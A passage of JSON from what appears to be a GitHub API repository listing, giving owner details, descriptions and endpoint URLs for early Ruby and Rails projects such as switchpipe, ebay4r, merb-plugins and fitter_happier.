zerany","html_url":"https://github.com/bmizerany","followers_url":"https://api.github.com/users/bmizerany/followers","following_url":"https://api.github.com/users/bmizerany/following{/other_user}","gists_url":"https://api.github.com/users/bmizerany/gists{/gist_id}","starred_url":"https://api.github.com/users/bmizerany/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bmizerany/subscriptions","organizations_url":"https://api.github.com/users/bmizerany/orgs","repos_url":"https://api.github.com/users/bmizerany/repos","events_url":"https://api.github.com/users/bmizerany/events{/privacy}","received_events_url":"https://api.github.com/users/bmizerany/received_events","type":"User"},"private":false,"html_url":"https://github.com/bmizerany/simply_versioned","description":"A simple, non-invasive, approach to versioning ActiveRecord models","fork":true,"url":"https://api.github.com/repos/bmizerany/simply_versioned","forks_url":"https://api.github.com/repos/bmizerany/simply_versioned/forks","keys_url":"https://api.github.com/repos/bmizerany/simply_versioned/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bmizerany/simply_versioned/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bmizerany/simply_versioned/teams","hooks_url":"https://api.github.com/repos/bmizerany/simply_versioned/hooks","issue_events_url":"https://api.github.com/repos/bmizerany/simply_versioned/issues/events{/number}","events_url":"https://api.github.com/repos/bmizerany/simply_versioned/events","assignees_url":"https://api.github.com/repos/bmizerany/simply_versioned/assignees{/user}","branches_url":"https://api.github.com/repos/bmizerany/simply_versioned/branches{/branch}","tags_url":"https://api.github.com/repos/bmizerany/simply_versioned/tags","blobs_url":"https://api.github.com/repos/bmizerany/simply_versioned/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bmizerany/simply_versioned/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bmizerany/simply_versioned/git/refs{/sha}","trees_url":"https://api.github.com/repos/bmizerany/simply_versioned/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bmizerany/simply_versioned/statuses/{sha}","languages_url":"https://api.github.com/repos/bmizerany/simply_versioned/languages","stargazers_url":"https://api.github.com/repos/bmizerany/simply_versioned/stargazers","contributors_url":"https://api.github.com/repos/bmizerany/simply_versioned/contributors","subscribers_url":"https://api.github.com/repos/bmizerany/simply_versioned/subscribers","subscription_url":"https://api.github.com/repos/bmizerany/simply_versioned/subscription","commits_url":"https://api.github.com/repos/bmizerany/simply_versioned/commits{/sha}","git_commits_url":"https://api.github.com/repos/bmizerany/simply_versioned/git/commits{/sha}","comments_url":"https://api.github.com/repos/bmizerany/simply_versioned/comments{/number}","issue_comment_url":"https://api.github.com/repos/bmizerany/simply_versioned/issues/comments/{number}","contents_url":"https://api.github.com/repos/bmizerany/simply_versioned/contents/{+path}","compare_url":"https://api.github.com/repos/bmizerany/simply_versioned/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bmizerany/simply_versioned/merges","archive_url":"https://api.github.com/repos/bmizerany/simply_versioned/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bmizerany/simply_versioned/downloads","issues_url":"https://api.github.com/repos/bmizerany/simply_versioned/issues{/number}","pulls_url":"https://api.github.com/repos/bmizerany/simply_versioned/pulls{/number}","milestones_url":"https://api.github.com/repos/bmizerany/simply_versioned/milestones{/number}","notifications_url":"https://api.github.com/repos/bmizerany/simply_versioned/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bmizerany/simply_versioned/labels{/name}"},{"id":212,"name":"switchpipe","full_name":"peterc/switchpipe","owner":{"login":"peterc","id":118,"avatar_url":"https://1.gravatar.com/avatar/6268c7528d855f1cef5696a00d159909?d=https%3A%2F%2Fidenticons.github.com%2F5ef059938ba799aaa845e1c2e8a762bd.png","gravatar_id":"6268c7528d855f1cef5696a00d159909","url":"https://api.github.com/users/peterc","html_url":"https://github.com/peterc","followers_url":"https://api.github.com/users/peterc/followers","following_url":"https://api.github.com/users/peterc/following{/other_user}","gists_url":"https://api.github.com/users/peterc/gists{/gist_id}","starred_url":"https://api.github.com/users/peterc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peterc/subscriptions","organizations_url":"https://api.github.com/users/peterc/orgs","repos_url":"https://api.github.com/users/peterc/repos","events_url":"https://api.github.com/users/peterc/events{/privacy}","received_events_url":"https://api.github.com/users/peterc/received_events","type":"User"},"private":false,"html_url":"https://github.com/peterc/switchpipe","description":"SwitchPipe is a backend process manager and HTTP proxy that makes (especially Ruby) web app deployment simple. NOW OBSOLETE. DO NOT USE.","fork":false,"url":"https://api.github.com/repos/peterc/switchpipe","forks_url":"https://api.github.com/repos/peterc/switchpipe/forks","keys_url":"https://api.github.com/repos/peterc/switchpipe/keys{/key_id}","collaborators_url":"https://api.github.com/repos/peterc/switchpipe/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/peterc/switchpipe/teams","hooks_url":"https://api.github.com/repos/peterc/switchpipe/hooks","issue_events_url":"https://api.github.com/repos/peterc/switchpipe/issues/events{/number}","events_url":"https://api.github.com/repos/peterc/switchpipe/events","assignees_url":"https://api.github.com/repos/peterc/switchpipe/assignees{/user}","branches_url":"https://api.github.com/repos/peterc/switchpipe/branches{/branch}","tags_url":"https://api.github.com/repos/peterc/switchpipe/tags","blobs_url":"https://api.github.com/repos/peterc/switchpipe/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/peterc/switchpipe/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/peterc/switchpipe/git/refs{/sha}","trees_url":"https://api.github.com/repos/peterc/switchpipe/git/trees{/sha}","statuses_url":"https://api.github.com/repos/peterc/switchpipe/statuses/{sha}","languages_url":"https://api.github.com/repos/peterc/switchpipe/languages","stargazers_url":"https://api.github.com/repos/peterc/switchpipe/stargazers","contributors_url":"https://api.github.com/repos/peterc/switchpipe/contributors","subscribers_url":"https://api.github.com/repos/peterc/switchpipe/subscribers","subscription_url":"https://api.github.com/repos/peterc/switchpipe/subscription","commits_url":"https://api.github.com/repos/peterc/switchpipe/commits{/sha}","git_commits_url":"https://api.github.com/repos/peterc/switchpipe/git/commits{/sha}","comments_url":"https://api.github.com/repos/peterc/switchpipe/comments{/number}","issue_comment_url":"https://api.github.com/repos/peterc/switchpipe/issues/comments/{number}","contents_url":"https://api.github.com/repos/peterc/switchpipe/contents/{+path}","compare_url":"https://api.github.com/repos/peterc/switchpipe/compare/{base}...{head}","merges_url":"https://api.github.com/repos/peterc/switchpipe/merges","archive_url":"https://api.github.com/repos/peterc/switchpipe/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/peterc/switchpipe/downloads","issues_url":"https://api.github.com/repos/peterc/switchpipe/issues{/number}","pulls_url":"https://api.github.com/repos/peterc/switchpipe/pulls{/number}","milestones_url":"https://api.github.com/repos/peterc/switchpipe/milestones{/number}","notifications_url":"https://api.github.com/repos/peterc/switchpipe/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/peterc/switchpipe/labels{/name}"},{"id":213,"name":"arc","full_name":"hornbeck/arc","owner":{"login":"hornbeck","id":49,"avatar_url":"https://2.gravatar.com/avatar/47093444301bbde90d0aef5fa5c3ac86?d=https%3A%2F%2Fidenticons.github.com%2Ff457c545a9ded88f18ecee47145a72c0.png","gravatar_id":"47093444301bbde90d0aef5fa5c3ac86","url":"https://api.github.com/users/hornbeck","html_url":"https://github.com/hornbeck","followers_url":"https://api.github.com/users/hornbeck/followers","following_url":"https://api.github.com/users/hornbeck/following{/other_user}","gists_url":"https://api.github.com/users/hornbeck/gists{/gist_id}","starred_url":"https://api.github.com/users/hornbeck/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hornbeck/subscriptions","organizations_url":"https://api.github.com/users/hornbeck/orgs","repos_url":"https://api.github.com/users/hornbeck/repos","events_url":"https://api.github.com/users/hornbeck/events{/privacy}","received_events_url":"https://api.github.com/users/hornbeck/received_events","type":"User"},"private":false,"html_url":"https://github.com/hornbeck/arc","description":"My arc repo","fork":false,"url":"https://api.github.com/repos/hornbeck/arc","forks_url":"https://api.github.com/repos/hornbeck/arc/forks","keys_url":"https://api.github.com/repos/hornbeck/arc/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hornbeck/arc/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hornbeck/arc/teams","hooks_url":"https://api.github.com/repos/hornbeck/arc/hooks","issue_events_url":"https://api.github.com/repos/hornbeck/arc/issues/events{/number}","events_url":"https://api.github.com/repos/hornbeck/arc/events","assignees_url":"https://api.github.com/repos/hornbeck/arc/assignees{/user}","branches_url":"https://api.github.com/repos/hornbeck/arc/branches{/branch}","tags_url":"https://api.github.com/repos/hornbeck/arc/tags","blobs_url":"https://api.github.com/repos/hornbeck/arc/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hornbeck/arc/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hornbeck/arc/git/refs{/sha}","trees_url":"https://api.github.com/repos/hornbeck/arc/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hornbeck/arc/statuses/{sha}","languages_url":"https://api.github.com/repos/hornbeck/arc/languages","stargazers_url":"https://api.github.com/repos/hornbeck/arc/stargazers","contributors_url":"https://api.github.com/repos/hornbeck/arc/contributors","subscribers_url":"https://api.github.com/repos/hornbeck/arc/subscribers","subscription_url":"https://api.github.com/repos/hornbeck/arc/subscription","commits_url":"https://api.github.com/repos/hornbeck/arc/commits{/sha}","git_commits_url":"https://api.github.com/repos/hornbeck/arc/git/commits{/sha}","comments_url":"https://api.github.com/repos/hornbeck/arc/comments{/number}","issue_comment_url":"https://api.github.com/repos/hornbeck/arc/issues/comments/{number}","contents_url":"https://api.github.com/repos/hornbeck/arc/contents/{+path}","compare_url":"https://api.github.com/repos/hornbeck/arc/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hornbeck/arc/merges","archive_url":"https://api.github.com/repos/hornbeck/arc/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hornbeck/arc/downloads","issues_url":"https://api.github.com/repos/hornbeck/arc/issues{/number}","pulls_url":"https://api.github.com/repos/hornbeck/arc/pulls{/number}","milestones_url":"https://api.github.com/repos/hornbeck/arc/milestones{/number}","notifications_url":"https://api.github.com/repos/hornbeck/arc/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hornbeck/arc/labels{/name}"},{"id":217,"name":"ebay4r","full_name":"up_the_irons/ebay4r","owner":{"login":"up_the_irons","id":121,"avatar_url":"https://2.gravatar.com/avatar/d9ae72d7364c7909a0a4b02cba72438a?d=https%3A%2F%2Fidenticons.github.com%2F4c56ff4ce4aaf9573aa5dff913df997a.png","gravatar_id":"d9ae72d7364c7909a0a4b02cba72438a","url":"https://api.github.com/users/up_the_irons","html_url":"https://github.com/up_the_irons","followers_url":"https://api.github.com/users/up_the_irons/followers","following_url":"https://api.github.com/users/up_the_irons/following{/other_user}","gists_url":"https://api.github.com/users/up_the_irons/gists{/gist_id}","starred_url":"https://api.github.com/users/up_the_irons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/up_the_irons/subscriptions","organizations_url":"https://api.github.com/users/up_the_irons/orgs","repos_url":"https://api.github.com/users/up_the_irons/repos","events_url":"https://api.github.com/users/up_the_irons/events{/privacy}","received_events_url":"https://api.github.com/users/up_the_irons/received_events","type":"User"},"private":false,"html_url":"https://github.com/up_the_irons/ebay4r","description":"eBay4R is a Ruby wrapper for eBay's Web Services SOAP API","fork":false,"url":"https://api.github.com/repos/up_the_irons/ebay4r","forks_url":"https://api.github.com/repos/up_the_irons/ebay4r/forks","keys_url":"https://api.github.com/repos/up_the_irons/ebay4r/keys{/key_id}","collaborators_url":"https://api.github.com/repos/up_the_irons/ebay4r/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/up_the_irons/ebay4r/teams","hooks_url":"https://api.github.com/repos/up_the_irons/ebay4r/hooks","issue_events_url":"https://api.github.com/repos/up_the_irons/ebay4r/issues/events{/number}","events_url":"https://api.github.com/repos/up_the_irons/ebay4r/events","assignees_url":"https://api.github.com/repos/up_the_irons/ebay4r/assignees{/user}","branches_url":"https://api.github.com/repos/up_the_irons/ebay4r/branches{/branch}","tags_url":"https://api.github.com/repos/up_the_irons/ebay4r/tags","blobs_url":"https://api.github.com/repos/up_the_irons/ebay4r/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/up_the_irons/ebay4r/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/up_the_irons/ebay4r/git/refs{/sha}","trees_url":"https://api.github.com/repos/up_the_irons/ebay4r/git/trees{/sha}","statuses_url":"https://api.github.com/repos/up_the_irons/ebay4r/statuses/{sha}","languages_url":"https://api.github.com/repos/up_the_irons/ebay4r/languages","stargazers_url":"https://api.github.com/repos/up_the_irons/ebay4r/stargazers","contributors_url":"https://api.github.com/repos/up_the_irons/ebay4r/contributors","subscribers_url":"https://api.github.com/repos/up_the_irons/ebay4r/subscribers","subscription_url":"https://api.github.com/repos/up_the_irons/ebay4r/subscription","commits_url":"https://api.github.com/repos/up_the_irons/ebay4r/commits{/sha}","git_commits_url":"https://api.github.com/repos/up_the_irons/ebay4r/git/commits{/sha}","comments_url":"https://api.github.com/repos/up_the_irons/ebay4r/comments{/number}","issue_comment_url":"https://api.github.com/repos/up_the_irons/ebay4r/issues/comments/{number}","contents_url":"https://api.github.com/repos/up_the_irons/ebay4r/contents/{+path}","compare_url":"https://api.github.com/repos/up_the_irons/ebay4r/compare/{base}...{head}","merges_url":"https://api.github.com/repos/up_the_irons/ebay4r/merges","archive_url":"https://api.github.com/repos/up_the_irons/ebay4r/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/up_the_irons/ebay4r/downloads","issues_url":"https://api.github.com/repos/up_the_irons/ebay4r/issues{/number}","pulls_url":"https://api.github.com/repos/up_the_irons/ebay4r/pulls{/number}","milestones_url":"https://api.github.com/repos/up_the_irons/ebay4r/milestones{/number}","notifications_url":"https://api.github.com/repos/up_the_irons/ebay4r/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/up_the_irons/ebay4r/labels{/name}"},{"id":218,"name":"merb-plugins","full_name":"wycats/merb-plugins","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/merb-plugins","description":"Merb Plugins: Even more modules to hook up your Merb installation","fork":false,"url":"https://api.github.com/repos/wycats/merb-plugins","forks_url":"https://api.github.com/repos/wycats/merb-plugins/forks","keys_url":"https://api.github.com/repos/wycats/merb-plugins/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/merb-plugins/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/merb-plugins/teams","hooks_url":"https://api.github.com/repos/wycats/merb-plugins/hooks","issue_events_url":"https://api.github.com/repos/wycats/merb-plugins/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/merb-plugins/events","assignees_url":"https://api.github.com/repos/wycats/merb-plugins/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/merb-plugins/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/merb-plugins/tags","blobs_url":"https://api.github.com/repos/wycats/merb-plugins/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/merb-plugins/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/merb-plugins/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/merb-plugins/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/merb-plugins/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/merb-plugins/languages","stargazers_url":"https://api.github.com/repos/wycats/merb-plugins/stargazers","contributors_url":"https://api.github.com/repos/wycats/merb-plugins/contributors","subscribers_url":"https://api.github.com/repos/wycats/merb-plugins/subscribers","subscription_url":"https://api.github.com/repos/wycats/merb-plugins/subscription","commits_url":"https://api.github.com/repos/wycats/merb-plugins/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/merb-plugins/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/merb-plugins/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/merb-plugins/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/merb-plugins/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/merb-plugins/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/merb-plugins/merges","archive_url":"https://api.github.com/repos/wycats/merb-plugins/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/merb-plugins/downloads","issues_url":"https://api.github.com/repos/wycats/merb-plugins/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/merb-plugins/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/merb-plugins/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/merb-plugins/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/merb-plugins/labels{/name}"},{"id":220,"name":"ram","full_name":"up_the_irons/ram","owner":{"login":"up_the_irons","id":121,"avatar_url":"https://2.gravatar.com/avatar/d9ae72d7364c7909a0a4b02cba72438a?d=https%3A%2F%2Fidenticons.github.com%2F4c56ff4ce4aaf9573aa5dff913df997a.png","gravatar_id":"d9ae72d7364c7909a0a4b02cba72438a","url":"https://api.github.com/users/up_the_irons","html_url":"https://github.com/up_the_irons","followers_url":"https://api.github.com/users/up_the_irons/followers","following_url":"https://api.github.com/users/up_the_irons/following{/other_user}","gists_url":"https://api.github.com/users/up_the_irons/gists{/gist_id}","starred_url":"https://api.github.com/users/up_the_irons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/up_the_irons/subscriptions","organizations_url":"https://api.github.com/users/up_the_irons/orgs","repos_url":"https://api.github.com/users/up_the_irons/repos","events_url":"https://api.github.com/users/up_the_irons/events{/privacy}","received_events_url":"https://api.github.com/users/up_the_irons/received_events","type":"User"},"private":false,"html_url":"https://github.com/up_the_irons/ram","description":"Ruby Asset Manager","fork":false,"url":"https://api.github.com/repos/up_the_irons/ram","forks_url":"https://api.github.com/repos/up_the_irons/ram/forks","keys_url":"https://api.github.com/repos/up_the_irons/ram/keys{/key_id}","collaborators_url":"https://api.github.com/repos/up_the_irons/ram/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/up_the_irons/ram/teams","hooks_url":"https://api.github.com/repos/up_the_irons/ram/hooks","issue_events_url":"https://api.github.com/repos/up_the_irons/ram/issues/events{/number}","events_url":"https://api.github.com/repos/up_the_irons/ram/events","assignees_url":"https://api.github.com/repos/up_the_irons/ram/assignees{/user}","branches_url":"https://api.github.com/repos/up_the_irons/ram/branches{/branch}","tags_url":"https://api.github.com/repos/up_the_irons/ram/tags","blobs_url":"https://api.github.com/repos/up_the_irons/ram/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/up_the_irons/ram/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/up_the_irons/ram/git/refs{/sha}","trees_url":"https://api.github.com/repos/up_the_irons/ram/git/trees{/sha}","statuses_url":"https://api.github.com/repos/up_the_irons/ram/statuses/{sha}","languages_url":"https://api.github.com/repos/up_the_irons/ram/languages","stargazers_url":"https://api.github.com/repos/up_the_irons/ram/stargazers","contributors_url":"https://api.github.com/repos/up_the_irons/ram/contributors","subscribers_url":"https://api.github.com/repos/up_the_irons/ram/subscribers","subscription_url":"https://api.github.com/repos/up_the_irons/ram/subscription","commits_url":"https://api.github.com/repos/up_the_irons/ram/commits{/sha}","git_commits_url":"https://api.github.com/repos/up_the_irons/ram/git/commits{/sha}","comments_url":"https://api.github.com/repos/up_the_irons/ram/comments{/number}","issue_comment_url":"https://api.github.com/repos/up_the_irons/ram/issues/comments/{number}","contents_url":"https://api.github.com/repos/up_the_irons/ram/contents/{+path}","compare_url":"https://api.github.com/repos/up_the_irons/ram/compare/{base}...{head}","merges_url":"https://api.github.com/repos/up_the_irons/ram/merges","archive_url":"https://api.github.com/repos/up_the_irons/ram/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/up_the_irons/ram/downloads","issues_url":"https://api.github.com/repos/up_the_irons/ram/issues{/number}","pulls_url":"https://api.github.com/repos/up_the_irons/ram/pulls{/number}","milestones_url":"https://api.github.com/repos/up_the_irons/ram/milestones{/number}","notifications_url":"https://api.github.com/repos/up_the_irons/ram/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/up_the_irons/ram/labels{/name}"},{"id":230,"name":"ambitious_activeldap","full_name":"defunkt/ambitious_activeldap","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/ambitious_activeldap","description":"Ambition adapter for ActiveLdap","fork":true,"url":"https://api.github.com/repos/defunkt/ambitious_activeldap","forks_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/forks","keys_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/teams","hooks_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/hooks","issue_events_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/events","assignees_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/tags","blobs_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/languages","stargazers_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/stargazers","contributors_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/contributors","subscribers_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/subscribers","subscription_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/subscription","commits_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/merges","archive_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/downloads","issues_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/labels{/name}"},{"id":232,"name":"fitter_happier","full_name":"atmos/fitter_happier","owner":{"login":"atmos","id":38,"avatar_url":"https://0.gravatar.com/avatar/a86224d72ce21cd9f5bee6784d4b06c7?d=https%3A%2F%2Fidenticons.github.com%2Fa5771bce93e200c36f7cd9dfd0e5deaa.png","gravatar_id":"a86224d72ce21cd9f5bee6784d4b06c7","url":"https://api.github.com/users/atmos","html_url":"https://github.com/atmos","followers_url":"https://api.github.com/users/atmos/followers","following_url":"https://api.github.com/users/atmos/following{/other_user}","gists_url":"https://api.github.com/users/atmos/gists{/gist_id}","starred_url":"https://api.github.com/users/atmos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/atmos/subscriptions","organizations_url":"https://api.github.com/users/atmos/orgs","repos_url":"https://api.github.com/users/atmos/repos","events_url":"https://api.github.com/users/atmos/events{/privacy}","received_events_url":"https://api.github.com/users/atmos/received_events","type":"User"},"private":false,"html_url":"https://github.com/atmos/fitter_happier","description":"A Rails Plugin for adding a simple health check to your application","fork":false,"url":"https://api.github.com/repos/atmos/fitter_happier","forks_url":"https://api.github.com/repos/atmos/fitter_happier/forks","keys_url":"https://api.github.com/repos/atmos/fitter_happier/keys{/key_id}","collaborators_url":"https://api.github.com/repos/atmos/fitter_happier/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/atmos/fitter_happier/teams","hooks_url":"https://api.github.com/repos/atmos/fitter_happier/hooks","issue_events_url":"https://api.github.com/repos/atmos/fitter_happier/issues/events{/number}","events_url":"https://api.github.com/repos/atmos/fitter_happier/events","assignees_url":"https://api.github.com/repos/atmos/fitter_happier/assignees{/user}","branches_url":"https://api.github.com/repos/atmos/fitter_happier/branches{/branch}","tags_url":"https://api.github.com/repos/atmos/fitter_happier/tags","blobs_url":"https://api.github.com/repos/atmos/fitter_happier/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/atmos/fitter_happier/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/atmos/fitter_happier/git/refs{/sha}","trees_url":"https://api.github.com/repos/atmos/fitter_happier/git/trees{/sha}","statuses_url":"https://api.github.com/repos/atmos/fitter_happier/statuses/{sha}","languages_url":"https://api.github.com/repos/atmos/fitter_happier/languages","stargazers_url":"https://api.github.com/repos/atmos/fitter_happier/stargazers","contributors_url":"https://api.github.com/repos/atmos/fitter_happier/contributors","subscribers_url":"https://api.github.com/repos/atmos/fitter_happier/subscribers","subscription_url":"https://api.github.com/repos/atmos/fitter_happier/subscription","commits_url":"https://api.github.com/repos/atmos/fitter_happier/commits{/sha}","git_commits_url":"https://api.github.com/repos/atmos/fitter_happier/git/commits{/sha}","comments_url":"https://api.github.com/repos/atmos/fitter_happier/comments{/number}","issue_comment_url":"https://api.github.com/repos/atmos/fitter_happier/issues/comments/{number}","contents_url":"https://api.github.com/repos/atmos/fitter_happier/contents/{+path}","compare_url":"https://api.github.com/repos/atmos/fitter_happier/compare/{base}...{head}","merges_url":"https://api.github.com/repos/atmos/fitter_happier/merges","archive_url":"https://api.github.com/repos/atmos/fitter_happier/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/atmos/fitter_happier/downloads","issues_url":"https://api.github.com/repos/atmos/fitter_happier/issues{/number}","pulls_url":"https://api.github.com/repos/atmos/fitter_happier/pulls{/number}","milestones_url":"https://api.github.com/repos/atmos/fitter_happier/milestones{/number}","notifications_url":"https://api.github.com/repos/atmos/fitter_happier/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/atmos/fitter_happier/labels{/name}"},{"id":237,"name":"oebfare","full_name":"brosner/oebfare","owner":{"login":"brosner","id":124,"avatar_url":"https://0.gravatar.com/avatar/b7472bc7aa45c70641c299e9408b78ab?d=https%3A%2F%2Fidenticons.github.com%2Fc8ffe9a587b126f152ed3d89a146b445.png","gravatar_id":"b7472bc7aa45c70641c299e9408b78ab","url":"https://api.github.com/users/brosner","html_url":"https://github.com/brosner","followers_url":"https://api.github.com/users/brosner/followers","following_url":"https://api.github.com/users/brosner/following{/other_user}","gists_url":"https://api.github.com/users/brosner/gists{/gist_id}","starred_url":"https://api.github.com/users/brosner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brosner/subscriptions","organizations_url":"https://api.github.com/users/brosner/orgs","repos_url":"https://api.github.com/users/brosner/repos","events_url":"https://api.github.com/users/brosner/events{/privacy}","received_events_url":"https://api.github.com/users/brosner/received_events","type":"User"},"private":false,"html_url":"https://github.com/brosner/oebfare","description":"my personal blog written with 